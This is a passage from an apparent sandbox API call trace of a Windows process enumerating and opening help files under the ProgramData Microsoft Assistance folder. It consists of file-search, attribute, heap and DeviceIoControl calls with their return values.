BaseAddress=0x12547c8) returned 1 [0091.229] NtClose (Handle=0x16c) returned 0x0 [0091.229] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.229] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.230] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0091.230] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.230] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0091.230] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 0 [0091.230] GetLastError () returned 0x12 [0091.230] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0091.230] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.230] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.230] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client", cAlternateFileName="")) returned 1 [0091.230] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.231] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.231] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.231] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.231] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.231] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.232] NtClose (Handle=0x16c) returned 0x0 [0091.232] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.232] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.233] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0091.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0091.233] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0091.233] GetLastError () returned 0x12 [0091.233] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.233] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.233] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.233] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0091.233] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.234] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.234] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.234] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.235] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.235] NtClose (Handle=0x16c) returned 0x0 [0091.235] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb0e0) returned 1 [0091.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb0e0 [0091.235] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb1f0 [0091.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.236] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0091.236] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.236] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.236] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0091.236] GetLastError () returned 0x12 [0091.236] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9140 [0091.236] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.236] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.236] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.236] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb300 [0091.237] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.238] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0091.238] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0091.238] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.238] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0091.238] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.238] NtClose (Handle=0x16c) returned 0x0 [0091.239] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb300) returned 1 [0091.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb300 [0091.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb410 [0091.239] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb498 [0091.239] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0091.241] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.241] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="")) returned 1 [0091.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb388 [0091.241] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb388) returned 1 [0091.241] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb388 [0091.242] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb388) returned 1 [0091.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb388 [0091.242] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb410) returned 1 [0091.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6718 [0091.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1352dc8 [0091.243] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb388) returned 1 [0091.243] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="")) returned 1 [0091.243] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb388 [0091.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb388) returned 1 [0091.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb388 [0091.244] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb388) returned 1 [0091.244] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb388 [0091.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6738 [0091.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1353500 [0091.245] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb388) returned 1 [0091.245] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="")) returned 1 [0091.245] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb388 [0091.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb388) returned 1 [0091.246] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="")) returned 1 [0091.246] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="")) returned 1 [0091.246] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="")) returned 1 [0091.246] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="")) returned 1 [0091.246] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="")) returned 0 [0091.246] GetLastError () returned 0x12 [0091.246] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0091.247] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0091.247] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.247] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="")) returned 1 [0091.247] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, 